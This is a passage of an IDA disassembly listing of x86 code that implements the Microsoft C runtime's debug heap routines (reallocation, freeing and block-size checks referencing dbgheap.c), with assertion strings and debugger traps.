CODE XREF: sub_40C52A+1Ep ; sub_40C52A+37p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4151E0 add esp, 14h pop ebp retn sub_4151C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151E0 proc near ; CODE XREF: sub_4151C0+11p ; sub_418D40+40p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] imul eax, [ebp+arg_0] mov [ebp+arg_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_414DD0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_415239 mov edx, [ebp+var_8] mov [ebp+var_C], edx mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_4], eax loc_415220: ; CODE XREF: sub_4151E0+57j mov ecx, [ebp+var_C] cmp ecx, [ebp+var_4] jnb short loc_415239 mov edx, [ebp+var_C] mov byte ptr [edx], 0 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_415220 ; --------------------------------------------------------------------------- loc_415239: ; CODE XREF: sub_4151E0+2Fj ; sub_4151E0+46j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4151E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415240 proc near ; CODE XREF: sub_4010AB+2Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 loc_415245: ; DATA XREF: ___:00444698o ; ___:004446A0o push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_415260 add esp, 14h pop ebp retn sub_415240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415260 proc near ; CODE XREF: sub_415240+11p ; sub_419BD0+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 9 call sub_41B780 add esp, 4 push 1 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4152A0 add esp, 18h mov [ebp+var_4], eax push 9 call sub_41B820 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_415260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152A0 proc near ; CODE XREF: sub_415260+24p ; sub_4157E0+24p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_14], 0 cmp [ebp+arg_0], 0 jnz short loc_4152D3 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_414DD0 add esp, 10h jmp loc_4157AA ; --------------------------------------------------------------------------- loc_4152D3: ; CODE XREF: sub_4152A0+14j cmp [ebp+arg_14], 0 jz short loc_4152F6 cmp [ebp+arg_4], 0 jnz short loc_4152F6 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_415860 add esp, 8 xor eax, eax jmp loc_4157AA ; --------------------------------------------------------------------------- loc_4152F6: ; CODE XREF: sub_4152A0+37j ; sub_4152A0+3Dj mov eax, dword_443890 and eax, 4 test eax, eax jz short loc_415332 loc_415302: ; CODE XREF: sub_4152A0+90j call sub_415F70 test eax, eax jnz short loc_41532C push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 239h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41532C int 3 ; Trap to Debugger loc_41532C: ; CODE XREF: sub_4152A0+69j ; sub_4152A0+89j xor ecx, ecx test ecx, ecx jnz short loc_415302 loc_415332: ; CODE XREF: sub_4152A0+60j mov edx, dword_443894 mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, dword_443898 loc_415344: ; DATA XREF: ___:00444900o ; ___:00444D54o jnz short loc_415347 int 3 ; Trap to Debugger loc_415347: ; CODE XREF: sub_4152A0:loc_415344j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_10] push eax loc_415353: ; DATA XREF: ___:00444AECo ; ___:00444B94o ... mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 2 call off_443C70 add esp, 1Ch test eax, eax jnz short loc_4153CC cmp [ebp+arg_C], 0 jz short loc_41539F loc_415374: ; CODE XREF: sub_4152A0+FBj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx push offset aClientHookReAl ; "Client hook re-allocation failure at fi"... push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 1Ch cmp eax, 1 jnz short loc_415397 int 3 ; Trap to Debugger loc_415397: ; CODE XREF: sub_4152A0+F4j xor eax, eax test eax, eax jnz short loc_415374 jmp short loc_4153C5 ; --------------------------------------------------------------------------- loc_41539F: ; CODE XREF: sub_4152A0+D2j ; sub_4152A0+123j push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_4153BF int 3 ; Trap to Debugger loc_4153BF: ; CODE XREF: sub_4152A0+11Cj xor ecx, ecx test ecx, ecx jnz short loc_41539F loc_4153C5: ; CODE XREF: sub_4152A0+FDj xor eax, eax jmp loc_4157AA ; --------------------------------------------------------------------------- loc_4153CC: ; CODE XREF: sub_4152A0+CCj cmp [ebp+arg_4], 0FFFFFFDBh jbe short loc_4153FE loc_4153D2: ; CODE XREF: sub_4152A0+155j mov edx, [ebp+arg_4] push edx push offset aAllocationTooL ; "Allocation too large or negative: %u by"... push 0 push 0 push 0 push 1 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_4153F1 int 3 ; Trap to Debugger loc_4153F1: ; CODE XREF: sub_4152A0+14Ej xor eax, eax test eax, eax jnz short loc_4153D2 xor eax, eax jmp loc_4157AA ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_4152A0+130j cmp [ebp+arg_8], 1 jz short loc_415446 mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 4 jz short loc_415446 mov edx, [ebp+arg_8] and edx, 0FFFFh cmp edx, 2 jz short loc_415446 loc_415420: ; CODE XREF: sub_4152A0+1A4j push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 1 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_415440 int 3 ; Trap to Debugger loc_415440: ; CODE XREF: sub_4152A0+19Dj xor eax, eax test eax, eax jnz short loc_415420 loc_415446: ; CODE XREF: sub_4152A0+162j ; sub_4152A0+170j ... mov ecx, [ebp+arg_0] push ecx call sub_4163D0 add esp, 4 test eax, eax jnz short loc_415477 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 261h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415477 int 3 ; Trap to Debugger loc_415477: ; CODE XREF: sub_4152A0+1B4j ; sub_4152A0+1D4j xor edx, edx test edx, edx jnz short loc_415446 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jnz short loc_415496 mov [ebp+var_14], 1 loc_415496: ; CODE XREF: sub_4152A0+1EDj cmp [ebp+var_14], 0 jz short loc_4154DA loc_41549C: ; CODE XREF: sub_4152A0+236j mov edx, [ebp+var_8] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_4154B1 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_4154D2 loc_4154B1: ; CODE XREF: sub_4152A0+206j push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"... push 0 push 26Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_4154D2 int 3 ; Trap to Debugger loc_4154D2: ; CODE XREF: sub_4152A0+20Fj ; sub_4152A0+22Fj xor ecx, ecx test ecx, ecx jnz short loc_41549C jmp short loc_41553E ; --------------------------------------------------------------------------- loc_4154DA: ; CODE XREF: sub_4152A0+1FAj mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_4154FF mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_4154FF mov [ebp+arg_8], 2 loc_4154FF: ; CODE XREF: sub_4152A0+248j ; sub_4152A0+256j ... mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp eax, ecx jz short loc_415538 push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"... push 0 push 272h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415538 int 3 ; Trap to Debugger loc_415538: ; CODE XREF: sub_4152A0+275j ; sub_4152A0+295j xor edx, edx test edx, edx jnz short loc_4154FF loc_41553E: ; CODE XREF: sub_4152A0+238j cmp [ebp+arg_14], 0 jz short loc_415569 mov eax, [ebp+arg_4] add eax, 24h push eax mov ecx, [ebp+var_8] push ecx call sub_41BA10 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_415567 xor eax, eax jmp loc_4157AA ; --------------------------------------------------------------------------- loc_415567: ; CODE XREF: sub_4152A0+2BEj jmp short loc_41558C ; --------------------------------------------------------------------------- loc_415569: ; CODE XREF: sub_4152A0+2A2j mov edx, [ebp+arg_4] add edx, 24h push edx mov eax, [ebp+var_8] push eax call sub_41B960 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41558C xor eax, eax jmp loc_4157AA ; --------------------------------------------------------------------------- loc_41558C: ; CODE XREF: sub_4152A0:loc_415567j ; sub_4152A0+2E3j mov ecx, dword_443894 add ecx, 1 mov dword_443894, ecx cmp [ebp+var_14], 0 jnz short loc_4155F7 mov edx, [ebp+var_C] mov eax, dword_4DB09C sub eax, [edx+10h] mov dword_4DB09C, eax mov ecx, dword_4DB09C add ecx, [ebp+arg_4] mov dword_4DB09C, ecx mov edx, [ebp+var_C] mov eax, dword_4DB0A4 sub eax, [edx+10h] mov dword_4DB0A4, eax mov ecx, dword_4DB0A4 add ecx, [ebp+arg_4] mov dword_4DB0A4, ecx mov edx, dword_4DB0A4 cmp edx, dword_4DB0A8 jbe short loc_4155F7 mov eax, dword_4DB0A4 mov dword_4DB0A8, eax loc_4155F7: ; CODE XREF: sub_4152A0+2FFj ; sub_4152A0+34Bj mov ecx, [ebp+var_C] add ecx, 20h mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov eax, [ebp+arg_4] cmp eax, [edx+10h] jbe short loc_41562F mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] sub edx, [ecx+10h] push edx xor eax, eax mov al, byte_44389E push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_4] add edx, [ecx+10h] push edx call sub_417070 add esp, 0Ch loc_41562F: ; CODE XREF: sub_4152A0+369j push 4 xor eax, eax mov al, byte_44389C push eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] push ecx call sub_417070 add esp, 0Ch cmp [ebp+var_14], 0 jnz short loc_415669 mov edx, [ebp+var_C] mov eax, [ebp+arg_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_10] mov [ecx+0Ch], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_10] mov [eax+18h], ecx loc_415669: ; CODE XREF: sub_4152A0+3ACj mov edx, [ebp+var_C] mov eax, [ebp+arg_4] mov [edx+10h], eax loc_415672: ; CODE XREF: sub_4152A0+40Bj cmp [ebp+arg_14], 0 jnz short loc_4156A7 cmp [ebp+arg_14], 0 jnz short loc_415686 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jz short loc_4156A7 loc_415686: ; CODE XREF: sub_4152A0+3DCj push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "... push 0 push 2A8h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_4156A7 int 3 ; Trap to Debugger loc_4156A7: ; CODE XREF: sub_4152A0+3D6j ; sub_4152A0+3E4j ... xor edx, edx test edx, edx jnz short loc_415672 mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jz short loc_4156BB cmp [ebp+var_14], 0 jz short loc_4156C3 loc_4156BB: ; CODE XREF: sub_4152A0+413j mov eax, [ebp+var_4] jmp loc_4157AA ; --------------------------------------------------------------------------- loc_4156C3: ; CODE XREF: sub_4152A0+419j mov ecx, [ebp+var_C] cmp dword ptr [ecx], 0 jz short loc_4156DB mov edx, [ebp+var_C] mov eax, [edx] mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [eax+4], edx jmp short loc_415717 ; --------------------------------------------------------------------------- loc_4156DB: ; CODE XREF: sub_4152A0+429j ; sub_4152A0+46Aj mov eax, dword_4DB098 cmp eax, [ebp+var_8] jz short loc_415706 push offset a_plastblockPol ; "_pLastBlock == pOldBlock" push 0 push 2B7h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415706 int 3 ; Trap to Debugger loc_415706: ; CODE XREF: sub_4152A0+443j ; sub_4152A0+463j xor ecx, ecx test ecx, ecx jnz short loc_4156DB mov edx, [ebp+var_C] mov eax, [edx+4] mov dword_4DB098, eax loc_415717: ; CODE XREF: sub_4152A0+439j mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jz short loc_41572F mov edx, [ebp+var_C] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ecx] mov [eax], edx jmp short loc_41576A ; --------------------------------------------------------------------------- loc_41572F: ; CODE XREF: sub_4152A0+47Ej ; sub_4152A0+4BEj mov eax, dword_4DB0A0 cmp eax, [ebp+var_8] jz short loc_41575A push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock" push 0 push 2C2h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41575A int 3 ; Trap to Debugger loc_41575A: ; CODE XREF: sub_4152A0+497j ; sub_4152A0+4B7j xor ecx, ecx test ecx, ecx jnz short loc_41572F mov edx, [ebp+var_C] mov eax, [edx] mov dword_4DB0A0, eax loc_41576A: ; CODE XREF: sub_4152A0+48Dj cmp dword_4DB0A0, 0 jz short loc_415781 mov ecx, dword_4DB0A0 mov edx, [ebp+var_C] mov [ecx+4], edx jmp short loc_415789 ; --------------------------------------------------------------------------- loc_415781: ; CODE XREF: sub_4152A0+4D1j mov eax, [ebp+var_C] mov dword_4DB098, eax loc_415789: ; CODE XREF: sub_4152A0+4DFj mov ecx, [ebp+var_C] mov edx, dword_4DB0A0 mov [ecx], edx mov eax, [ebp+var_C] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_C] mov dword_4DB0A0, ecx mov eax, [ebp+var_4] loc_4157AA: ; CODE XREF: sub_4152A0+2Ej ; sub_4152A0+51j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4152A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_4157E0 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157E0 proc near ; CODE XREF: ___:004157D1p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 9 call sub_41B780 add esp, 4 push 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4152A0 add esp, 18h mov [ebp+var_4], eax push 9 call sub_41B820 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4157E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415820 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_402599+B7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_415860 add esp, 8 pop ebp retn sub_415820 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_415890 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415860 proc near ; CODE XREF: sub_414CF0+98p ; sub_4152A0+47p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 9 call sub_41B780 add esp, 4 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_415890 add esp, 8 push 9 call sub_41B820 add esp, 4 pop ebp retn sub_415860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415890 proc near ; CODE XREF: ___:00415849p ; sub_415860+15p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, dword_443890 and eax, 4 test eax, eax jz short loc_4158D3 loc_4158A3: ; CODE XREF: sub_415890+41j call sub_415F70 test eax, eax jnz short loc_4158CD push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 3E1h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_4158CD int 3 ; Trap to Debugger loc_4158CD: ; CODE XREF: sub_415890+1Aj ; sub_415890+3Aj xor ecx, ecx test ecx, ecx jnz short loc_4158A3 loc_4158D3: ; CODE XREF: sub_415890+11j cmp [ebp+arg_0], 0 jnz short loc_4158DE jmp loc_415C75 ; --------------------------------------------------------------------------- loc_4158DE: ; CODE XREF: sub_415890+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call off_443C70 add esp, 1Ch test eax, eax jnz short loc_415928 loc_4158FD: ; CODE XREF: sub_415890+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41AB10 add esp, 18h cmp eax, 1 jnz short loc_41591D int 3 ; Trap to Debugger loc_41591D: ; CODE XREF: sub_415890+8Aj xor ecx, ecx test ecx, ecx jnz short loc_4158FD jmp loc_415C75 ; --------------------------------------------------------------------------- loc_415928: ; CODE XREF: sub_415890+6Bj ; sub_415890+CDj mov edx, [ebp+arg_0] push edx call sub_4163D0 add esp, 4 test eax, eax jnz short loc_415959 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 3F3h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415959 int 3 ; Trap to Debugger loc_415959: ; CODE XREF: sub_415890+A6j ; sub_415890+C6j xor eax, eax test eax, eax jnz short loc_415928 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_4], ecx loc_415968: ; CODE XREF: sub_415890+12Fj mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_4159BB mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jz short loc_4159BB mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_4159BB mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jz short loc_4159BB push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 3F9h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_4159BB int 3 ; Trap to Debugger loc_4159BB: ; CODE XREF: sub_415890+E6j ; sub_415890+EFj ... xor edx, edx test edx, edx jnz short loc_415968 mov eax, dword_443890 and eax, 4 test eax, eax jnz loc_415A96 push 4 mov cl, byte_44389C push ecx mov edx, [ebp+var_4] add edx, 1Ch push edx call sub_415EE0 add esp, 0Ch test eax, eax jnz short loc_415A30 loc_4159ED: ; CODE XREF: sub_415890+19Ej mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_4438A0[ecx*4] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 1 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_415A2A int 3 ; Trap to Debugger loc_415A2A: ; CODE XREF: sub_415890+197j xor eax, eax test eax, eax jnz short loc_4159ED loc_415A30: ; CODE XREF: sub_415890+15Bj push 4 mov cl, byte_44389C push ecx mov edx, [ebp+var_4] mov eax, [edx+10h] mov ecx, [ebp+var_4] lea edx, [ecx+eax+20h] push edx call sub_415EE0 add esp, 0Ch test eax, eax jnz short loc_415A96 loc_415A53: ; CODE XREF: sub_415890+204j mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_4438A0[ecx*4] push edx push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 1 call sub_41AB10 add esp, 20h cmp eax, 1 jnz short loc_415A90 int 3 ; Trap to Debugger loc_415A90: ; CODE XREF: sub_415890+1FDj xor eax, eax test eax, eax jnz short loc_415A53 loc_415A96: ; CODE XREF: sub_415890+13Bj ; sub_415890+1C1j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jnz short loc_415B0B loc_415A9F: ; CODE XREF: sub_415890+249j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_415AB4 mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_415AD5 loc_415AB4: ; CODE XREF: sub_415890+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 push 40Eh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415AD5 int 3 ; Trap to Debugger loc_415AD5: ; CODE XREF: sub_415890+222j ; sub_415890+242j xor ecx, ecx test ecx, ecx jnz short loc_415A9F mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_44389D push ecx mov edx, [ebp+var_4] push edx call sub_417070 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_41BC00 add esp, 4 jmp loc_415C75 ; --------------------------------------------------------------------------- loc_415B0B: ; CODE XREF: sub_415890+20Dj mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 2 jnz short loc_415B21 cmp [ebp+arg_4], 1 jnz short loc_415B21 mov [ebp+arg_4], 2 loc_415B21: ; CODE XREF: sub_415890+282j ; sub_415890+288j ... mov edx, [ebp+var_4] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_415B4D push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 41Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415B4D int 3 ; Trap to Debugger loc_415B4D: ; CODE XREF: sub_415890+29Aj ; sub_415890+2BAj xor ecx, ecx test ecx, ecx jnz short loc_415B21 mov edx, [ebp+var_4] mov eax, dword_4DB0A4 sub eax, [edx+10h] mov dword_4DB0A4, eax mov ecx, dword_443890 and ecx, 2 test ecx, ecx jnz loc_415C4C mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_415B8C mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_415BCA ; --------------------------------------------------------------------------- loc_415B8C: ; CODE XREF: sub_415890+2EAj ; sub_415890+32Cj mov ecx, dword_4DB098 cmp ecx, [ebp+var_4] jz short loc_415BB8 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 push 42Ah push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415BB8 int 3 ; Trap to Debugger loc_415BB8: ; CODE XREF: sub_415890+305j ; sub_415890+325j xor edx, edx test edx, edx jnz short loc_415B8C mov eax, [ebp+var_4] mov ecx, [eax+4] mov dword_4DB098, ecx loc_415BCA: ; CODE XREF: sub_415890+2FAj mov edx, [ebp+var_4] cmp dword ptr [edx+4], 0 jz short loc_415BE2 mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx] mov [ecx], eax jmp short loc_415C1F ; --------------------------------------------------------------------------- loc_415BE2: ; CODE XREF: sub_415890+341j ; sub_415890+382j mov ecx, dword_4DB0A0 cmp ecx, [ebp+var_4] jz short loc_415C0E push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 push 434h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415C0E int 3 ; Trap to Debugger loc_415C0E: ; CODE XREF: sub_415890+35Bj ; sub_415890+37Bj xor edx, edx test edx, edx jnz short loc_415BE2 mov eax, [ebp+var_4] mov ecx, [eax] mov dword_4DB0A0, ecx loc_415C1F: ; CODE XREF: sub_415890+350j mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_44389D push ecx mov edx, [ebp+var_4] push edx call sub_417070 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_41BC00 add esp, 4 jmp short loc_415C75 ; --------------------------------------------------------------------------- loc_415C4C: ; CODE XREF: sub_415890+2DEj mov ecx, [ebp+var_4] mov dword ptr [ecx+14h], 0 mov edx, [ebp+var_4] mov eax, [edx+10h] push eax xor ecx, ecx mov cl, byte_44389D push ecx mov edx, [ebp+var_4] add edx, 20h push edx call sub_417070 add esp, 0Ch loc_415C75: ; CODE XREF: sub_415890+49j ; sub_415890+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_415890 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_415CA0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CA0 proc near ; CODE XREF: ___:00415C89p ; sub_419BD0+11p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, dword_443890 and eax, 4 test eax, eax jz short loc_415CE5 loc_415CB5: ; CODE XREF: sub_415CA0+43j call sub_415F70 test eax, eax jnz short loc_415CDF push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 47Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415CDF int 3 ; Trap to Debugger loc_415CDF: ; CODE XREF: sub_415CA0+1Cj ; sub_415CA0+3Cj xor ecx, ecx test ecx, ecx jnz short loc_415CB5 loc_415CE5: ; CODE XREF: sub_415CA0+13j push 9 call sub_41B780 add esp, 4 loc_415CEF: ; CODE XREF: sub_415CA0+84j mov edx, [ebp+arg_0] push edx call sub_4163D0 add esp, 4 test eax, eax jnz short loc_415D20 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 485h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_415D20 int 3 ; Trap to Debugger loc_415D20: ; CODE XREF: sub_415CA0+5Dj ; sub_415CA0+7Dj xor eax, eax test eax, eax jnz short loc_415CEF mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_8], ecx loc_415D2F: ; CODE XREF: sub_415CA0+E6j mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_415D82 mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 1 jz short loc_415D82 mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_415D82 mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jz short loc_415D82 push offset a_block_type_is ; 